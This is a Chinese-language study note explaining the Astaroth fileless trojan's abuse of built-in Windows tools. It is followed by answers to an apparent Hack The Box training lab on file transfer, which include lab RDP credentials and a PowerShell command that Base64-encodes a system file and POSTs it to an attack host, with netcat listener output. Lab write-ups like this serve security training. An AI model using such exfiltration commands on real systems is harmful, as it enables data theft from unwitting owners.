Astaroth 攻擊

tutorials
3.1k 詞

Astaroth 攻擊

Astaroth 就是那個被偷偷注入到合法程序裡、長期在記憶體中運作的銀行木馬惡意程式。

釣魚郵件 (Spear Phishing)
│
▼ 點擊惡意連結
LNK 檔案 (.lnk 捷徑)
│
▼ 雙擊執行
WMIC.exe + /Format 參數
│
▼ 下載並執行惡意 JavaScript
│
▼ 呼叫工具
Bitsadmin.exe 下載 Payload
│
▼ Base64 檔案傳輸
Certutil.exe 解碼 → DLL
│
▼ 載入 DLL
regsvr32.exe
│
▼ Process Injection
Userinit.exe (合法程序)
│
▼
Astaroth 最終有效負載
(持久化執行)

無檔案威脅（fileless）之所以能成功，是因為：

Windows 作業系統為了讓管理員方便工作，內建了很多「強大又受信任」的工具（這些工具叫做 LOLBins = Living Off the Land Binaries）。這些工具本來可以：

  1. 從網路下載東西
  2. 把資料解碼
  3. 載入 DLL 執行程式碼
  4. 把程式碼注入到其他程序裡

攻擊者不需要自己帶來新的惡意檔案而是「借用」Windows 自己家裡的工具來做壞事

惡意程式碼主要活在記憶體裡，或藏在合法程序裡，而不是放在硬碟上一個明顯的 .exe 檔案

根本原因

作業系統信任這些內建工具，安全軟體比較難一眼看出「好工具被壞人用了」

釣魚郵件 = 敲門的陌生人
LNK 檔案 = 開門的鑰匙
WMIC = 打電話叫外送
Bitsadmin = 外送員把箱子搬進來
Certutil = 用剪刀拆開箱子
regsvr32 = 把箱子裡的東西偷偷塞進家裡的家具裡
Userinit.exe = 那個一直開著的電視

Astaroth 是一個使用大量 Windows 內建工具、幾乎不落地檔案、最後會把惡意程式碼注入到 Userinit.exe 裡執行的銀行木馬。它的名字來自惡魔學中的阿斯塔羅特，因為它具有「隱密附身」的特性。

Q

  1. Download the file flag.txt from the web root using wget from the Pwnbox. Submit the contents of the file as your answer.

wget http:///flag.txt

  1. Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, unzip the archive, and run “hasher upload_win.txt” from the command line. Submit the generated hash as your answer.

RDP to 10.129.60.133 (ACADEMY-MISC-MS02), with user “htb-student” and password “HTB_@cademy_stdnt!”

xfreerdp /v:10.129.60.133 \
         /u:htb-student \
         /p:'HTB_@cademy_stdnt!' \
         /drive:share,./ \
         +clipboard \
         /dynamic-resolution
  1. Connect to the target machine via RDP and practice various file transfer operations (upload and download) with your attack host. Type “DONE” when finished.
1
2
3
4
PS C:\Users\htb-student> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hos
ts' -Encoding Byte))
    
PS C:\Users\htb-student> Invoke-WebRequest -Uri http://10.10.15.204:8000/ -Method POST -Body $b64
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(guertena㉿meow)-[~/VPN]
└─$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.15.204] from (UNKNOWN) [10.129.60.133] 49674
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.206
Content-Type: application/x-www-form-urlencoded
Host: 10.10.15.204:8000
Content-Length: 1100
Expect: 100-continue
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo=^C